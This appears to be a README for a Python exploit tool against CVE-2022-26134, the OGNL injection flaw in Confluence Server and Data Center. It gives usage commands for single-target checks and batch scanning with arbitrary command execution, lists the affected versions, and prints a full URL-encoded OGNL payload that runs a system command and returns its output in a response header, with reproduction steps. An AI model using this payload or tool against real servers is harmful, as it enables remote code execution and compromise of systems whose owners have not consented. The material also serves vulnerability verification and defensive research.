
Python-based exploit for CVE-2022-26134, an OGNL injection vulnerability in Confluence Server and Data Center. Supports single URL check and batch scanning with arbitrary command execution.
CVE-2022-26134 - Confluence OGNL injection vulnerability
Install Python libraries
pip install -r requirements.txt
Vulnerability Verification
python3 CVE-2022-26134_check.py -u url -c whoami

Batch Scanning
python3 CVE-2022-26134_check.py -f url.txt -c whoami

Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1
Payload:
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/
Access the Confluence service, capture a packet with response code 302, send a packet with the payload, and the X-Qualys-Response parameter in the response packet will return the current server username.

The URI provided by the attacker will be converted into a namespace, and then that namespace will be converted into an OGNL expression for evaluation (the attacker's URL is indirectly converted into an OGNL expression for evaluation).